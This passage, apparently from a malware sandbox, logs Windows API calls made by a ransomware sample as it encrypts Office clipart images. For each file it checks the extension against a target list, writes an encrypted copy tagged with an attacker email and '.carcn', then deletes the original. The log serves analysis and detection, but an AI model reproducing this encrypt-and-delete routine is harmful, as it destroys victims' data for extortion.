[0304.063] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.063] lstrlenW (lpString=".bz2") returned 4 [0304.063] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.063] lstrlenW (lpString=".7z") returned 3 [0304.063] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.063] lstrlenW (lpString=".dbf") returned 4 [0304.063] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.063] lstrlenW (lpString=".1cd") returned 4 [0304.063] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0304.063] lstrlenW (lpString=".jpg") returned 4 [0304.063] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.063] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.064] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0304.064] GetLastError () returned 0x0 [0304.064] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0304.083] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0304.084] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.084] WriteFile (in: hFile=0x370, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.084] SetEndOfFile (hFile=0x370) returned 1 [0304.093] CloseHandle (hObject=0x370) returned 1 [0304.100] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.100] SetEndOfFile (hFile=0x380) returned 1 [0304.101] CloseHandle (hObject=0x380) returned 1 [0304.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0304.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.102] lstrlenW (lpString=".doc") returned 4 [0304.102] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0304.102] lstrlenW (lpString=".docx") returned 5 [0304.102] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0304.102] lstrlenW (lpString=".pdf") returned 4 [0304.102] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0304.103] lstrlenW (lpString=".xls") returned 4 [0304.103] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0304.103] lstrlenW (lpString=".xlsx") returned 5 [0304.103] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0304.103] lstrlenW (lpString=".ppt") returned 4 [0304.103] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0304.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.103] lstrlenW (lpString=".zip") returned 4 [0304.103] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0304.103] lstrlenW (lpString=".rar") returned 4 [0304.103] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0304.103] lstrlenW (lpString=".bz2") returned 4 [0304.103] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0304.103] lstrlenW (lpString=".7z") returned 3 [0304.103] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0304.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.103] lstrlenW (lpString=".dbf") returned 4 [0304.103] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0304.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.104] lstrlenW (lpString=".1cd") returned 4 [0304.104] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0304.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0304.104] lstrlenW (lpString=".jpg") returned 4 [0304.104] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0304.105] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.105] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0304.106] GetLastError () returned 0x0 [0304.106] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x6630, lpOverlapped=0x0) returned 1 [0304.178] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x6640, lpOverlapped=0x0) returned 1 [0304.179] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.179] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.179] SetEndOfFile (hFile=0x350) returned 1 [0304.179] CloseHandle (hObject=0x350) returned 1 [0304.179] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.179] SetEndOfFile (hFile=0x380) returned 1 [0304.181] CloseHandle (hObject=0x380) returned 1 [0304.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0304.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.182] lstrlenW (lpString=".doc") returned 4 [0304.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString=".docx") returned 5 [0304.182] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0304.182] lstrlenW (lpString=".pdf") returned 4 [0304.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString=".xls") returned 4 [0304.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.182] lstrlenW (lpString=".xlsx") returned 5 [0304.182] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0304.182] lstrlenW (lpString=".ppt") returned 4 [0304.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.182] lstrlenW (lpString=".zip") returned 4 [0304.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.182] lstrlenW (lpString=".rar") returned 4 [0304.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString=".bz2") returned 4 [0304.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString=".7z") returned 3 [0304.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.182] lstrlenW (lpString=".dbf") returned 4 [0304.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.182] lstrlenW (lpString=".1cd") returned 4 [0304.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0304.182] lstrlenW (lpString=".jpg") returned 4 [0304.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.183] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.183] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0304.183] GetLastError () returned 0x0 [0304.183] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5754, lpOverlapped=0x0) returned 1 [0304.225] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5760, lpOverlapped=0x0) returned 1 [0304.226] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.226] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.226] SetEndOfFile (hFile=0x350) returned 1 [0304.226] CloseHandle (hObject=0x350) returned 1 [0304.227] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.227] SetEndOfFile (hFile=0x380) returned 1 [0304.228] CloseHandle (hObject=0x380) returned 1 [0304.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0304.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.229] lstrlenW (lpString=".doc") returned 4 [0304.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.229] lstrlenW (lpString=".docx") returned 5 [0304.229] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0304.229] lstrlenW (lpString=".pdf") returned 4 [0304.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.229] lstrlenW (lpString=".xls") returned 4 [0304.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.229] lstrlenW (lpString=".xlsx") returned 5 [0304.229] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0304.229] lstrlenW (lpString=".ppt") returned 4 [0304.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.229] lstrlenW (lpString=".zip") returned 4 [0304.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.229] lstrlenW (lpString=".rar") returned 4 [0304.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.230] lstrlenW (lpString=".bz2") returned 4 [0304.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.230] lstrlenW (lpString=".7z") returned 3 [0304.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.230] lstrlenW (lpString=".dbf") returned 4 [0304.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.230] lstrlenW (lpString=".1cd") returned 4 [0304.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68 [0304.230] lstrlenW (lpString=".jpg") returned 4 [0304.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.231] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.231] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0304.232] GetLastError () returned 0x0 [0304.232] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x55ba, lpOverlapped=0x0) returned 1 [0304.292] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x55c0, lpOverlapped=0x0) returned 1 [0304.293] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.294] WriteFile (in: hFile=0x350, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.294] SetEndOfFile (hFile=0x350) returned 1 [0304.294] CloseHandle (hObject=0x350) returned 1 [0304.294] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.294] SetEndOfFile (hFile=0x380) returned 1 [0304.295] CloseHandle (hObject=0x380) returned 1 [0304.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0304.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0304.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.296] lstrlenW (lpString=".doc") returned 4 [0304.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0304.296] lstrlenW (lpString=".docx") returned 5 [0304.296] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0304.296] lstrlenW (lpString=".pdf") returned 4 [0304.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0304.296] lstrlenW (lpString=".xls") returned 4 [0304.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0304.296] lstrlenW (lpString=".xlsx") returned 5 [0304.296] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0304.297] lstrlenW (lpString=".ppt") returned 4 [0304.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0304.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.297] lstrlenW (lpString=".zip") returned 4 [0304.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0304.297] lstrlenW (lpString=".rar") returned 4 [0304.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0304.297] lstrlenW (lpString=".bz2") returned 4 [0304.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0304.297] lstrlenW (lpString=".7z") returned 3 [0304.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0304.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.297] lstrlenW (lpString=".dbf") returned 4 [0304.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0304.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.297] lstrlenW (lpString=".1cd") returned 4 [0304.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0304.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0304.297] lstrlenW (lpString=".jpg") returned 4 [0304.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0304.318] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.318] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.013] GetLastError () returned 0x0 [0305.013] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xc53a, lpOverlapped=0x0) returned 1 [0305.028] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xc540, lpOverlapped=0x0) returned 1 [0305.030] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.030] WriteFile (in: hFile=0x398, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.030] SetEndOfFile (hFile=0x398) returned 1 [0305.030] CloseHandle (hObject=0x398) returned 1 [0305.030] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.030] SetEndOfFile (hFile=0x34c) returned 1 [0305.032] CloseHandle (hObject=0x34c) returned 1 [0305.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0305.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0305.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.033] lstrlenW (lpString=".doc") returned 4 [0305.033] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0305.033] lstrlenW (lpString=".docx") returned 5 [0305.033] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0305.033] lstrlenW (lpString=".pdf") returned 4 [0305.033] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0305.033] lstrlenW (lpString=".xls") returned 4 [0305.033] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0305.033] lstrlenW (lpString=".xlsx") returned 5 [0305.033] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0305.033] lstrlenW (lpString=".ppt") returned 4 [0305.033] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0305.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.033] lstrlenW (lpString=".zip") returned 4 [0305.033] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0305.033] lstrlenW (lpString=".rar") returned 4 [0305.033] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0305.033] lstrlenW (lpString=".bz2") returned 4 [0305.033] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0305.033] lstrlenW (lpString=".7z") returned 3 [0305.033] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0305.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.033] lstrlenW (lpString=".dbf") returned 4 [0305.034] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0305.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.034] lstrlenW (lpString=".1cd") returned 4 [0305.034] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0305.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG") returned 68 [0305.034] lstrlenW (lpString=".jpg") returned 4 [0305.034] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0305.034] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.034] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.035] GetLastError () returned 0x0 [0305.035] ReadFile (in: hFile=0x34c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, 